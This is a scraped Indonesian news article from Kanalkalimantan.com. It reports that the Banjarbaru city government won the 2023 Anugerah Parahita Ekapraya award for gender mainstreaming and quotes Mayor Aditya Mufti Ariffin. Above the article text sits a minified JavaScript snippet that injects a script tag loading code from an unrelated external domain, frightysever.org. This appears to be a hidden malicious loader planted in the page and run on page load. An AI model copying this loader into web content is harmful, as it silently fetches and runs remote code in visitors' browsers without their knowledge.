(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru meraih penghargaan Anugerah Parahita Ekapraya (APE) tahun 2023 dari Kementerian Pemberdayaan Perempuan dan Perlindungan Anak (PPPA) Republik Indonesia.
Penghargaan tersebut merupakan bentuk pengakuan atas komitmen dan peran para pimpinan kementerian lembaga dan pemerintah daerah mewujudkan kesetaraan gender dan pemberdayaan perempuan dalam bidang pembangunan.
Penerima penghargaan itu diumumkan saat acara penganugerahan APE 2023 yang diselenggarakan secara virtual di Command Center Balai Kota Banjarbaru, Selasa (19/12/2023). Pemko Banjarbaru di era Wali Kota Aditya Mufti Ariffin ini diberi penghargaan APE dengan predikat pratama.
Baca juga: Libur Sekolah, Naufal dan Adik-adiknya Bermain ke Kantor Kanalkalimantan
“Alhamdulillah, kemarin sudah diumumkan bahwa Pemko Banjarbaru menerima penghargaan APE predikat pratama. Ini bentuk keberhasilan dalam pencapaian pembangunan pengarusutamaan gender, pemberdayaan perempuan, dan perlindungan anak di Banjarbaru,” ucap Wali Kota Aditya.
Berdasarkan hasil yang diumumkan Kementerian PPPA, penghargaan APE predikat pratama hanya diraih 4 kabupaten kota di Provinsi Kalimantan Selatan. Pemko Banjarbaru, bersama tiga pemerintah daerah lainnya yakni Pemkab Tabalong, Pemkab Balangan, dan Pemkab Banjar.
Adapun Anugerah Parahita Ekapraya ini didasarkan atas hasil evaluasi pengarusutamaan gender (PUG) tahun 2023 melalui evaluasi mandiri. Kemudian dilakukan verifikasi administrasi dan verifikasi lapangan untuk selanjutnya dilakukan verifikasi akhir.
Baca juga: Bunda Literasi HSU Ajak Generasi Milenial Perbanyak Baca Buku
Menurut Wali Kota Aditya, dibutuhkan perencanaan dan penganggaran yang matang dalam mengimplementasikan pelaksanaan pengarusutamaan gender. Termasuk pula keterlibatan dari seluruh pihak untuk saling mendukung, dimana Dinas PPKBPMPPA (Pengendalian Penduduk Keluarga Berencana Pemberdayaan Masyarakat Perlindungan Perempuan dan Anak) Kota Banjarbaru menjadi ujung tombak pelaksanaan PUG.
“Jadi kolaborasi dengan pihak swasta maupun masyarakat harus dilakukan. Sehingga diharapkan implementasi PUG di Banjarbaru bisa dilakukan bahkan pada level yang paling kecil. Insya Allah, 2024 kita maksimalkan lagi,” tuturnya.
Baca juga: Jelang Libur Nataru, DPKP Banjar Monitoring Dua Tempat Wisata
Atas diraihnya penghargaan APE 2023 ini turut menjadi bukti bahwa Kota Banjarbaru telah berjalan di atas nilai-nilai kesetaraan gender laki-laki dan perempuan. Efek dari hal ini juga mempengaruhi percepatan penurunan angka kemiskinan, meningkatkan taraf hidup dan ekonomi masyarakat. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.